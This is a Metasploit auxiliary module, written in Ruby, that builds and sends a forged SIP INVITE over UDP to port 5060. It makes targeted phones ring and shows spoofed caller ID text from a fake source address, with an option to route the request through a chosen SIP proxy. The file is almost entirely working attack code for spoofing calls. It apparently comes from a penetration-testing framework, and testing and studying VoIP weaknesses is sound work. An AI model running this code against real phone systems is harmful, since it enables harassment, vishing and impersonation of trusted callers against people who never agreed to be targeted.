##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Udp
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'           => 'SIP Invite Spoof',
      'Description'    => %q{
        This module will create a fake SIP invite request making the targeted device ring
        and display fake caller id information.
      },
      'Author'         =>
        [
          'David Maynor <dave[at]erratasec.com>', # original module
          'ChrisJohnRiley' # modifications
        ],
      'License'        =>  MSF_LICENSE
    )

    deregister_options('Proxies','SSL','RHOST')
    register_options(
      [
        Opt::RPORT(5060),
        OptString.new('SRCADDR', [true, "The sip address the spoofed call is coming from",'192.168.1.1']),
        OptString.new('MSG', [true, "The spoofed caller id to send","The Metasploit has you"]),
        OptString.new('EXTENSION', [false, "The specific extension or name to target", nil]),
        OptString.new('DOMAIN', [false, "Use a specific SIP domain", nil])
      ])
    register_advanced_options(
      [
        OptAddress.new('SIP_PROXY_NAME', [false, "Use a specific SIP proxy", nil]),
        OptPort.new('SIP_PROXY_PORT', [false, "SIP Proxy port to use", 5060])
      ])
  end


  def run_host(ip)

    begin

      name = datastore['MSG']
      src = datastore['SRCADDR']
      ext = datastore['EXTENSION']
      dom = datastore['DOMAIN']
      sphost = datastore['SIP_PROXY_NAME']
      spport = datastore['SIP_PROXY_PORT'] || 5060
      conn_string = ''

      if not ext.nil? and not ext.empty?
        # set extesion name/number
        conn_string = "#{ext}@"
      end

      if not dom.nil? and not dom.empty?
        # set domain
        conn_string << "#{dom}"
      else
        conn_string << "#{ip}"
      end

      # set Route header if SIP_PROXY is set
      if not sphost.nil? and not sphost.empty?
        route = "Route: <sip:#{sphost}:#{spport};lr>\r\n"
      end

      connect_udp

      print_status("Sending Fake SIP Invite to: #{conn_string}")
      print_status("Using SIP proxy #{sphost}:#{spport}") if route

      req =  "INVITE sip:#{conn_string} SIP/2.0" + "\r\n"
      # add Route: header to req if SIP_PROXY is set
      req << route if route
      req << "To: <sip:#{conn_string}>" + "\r\n"
      req << "Via: SIP/2.0/UDP #{ip}" + "\r\n"
      req << "From: \"#{name}\"<sip:#{src}>" + "\r\n"
      req << "Call-ID: #{(rand(100)+100)}#{ip}" + "\r\n"
      req << "CSeq: 1 INVITE" + "\r\n"
      req << "Max-Forwards: 20" +  "\r\n"
      req << "Contact: <sip:#{conn_string}>" + "\r\n\r\n"

      udp_sock.put(req)
      disconnect_udp

    rescue Errno::EACCES
    end

  end
end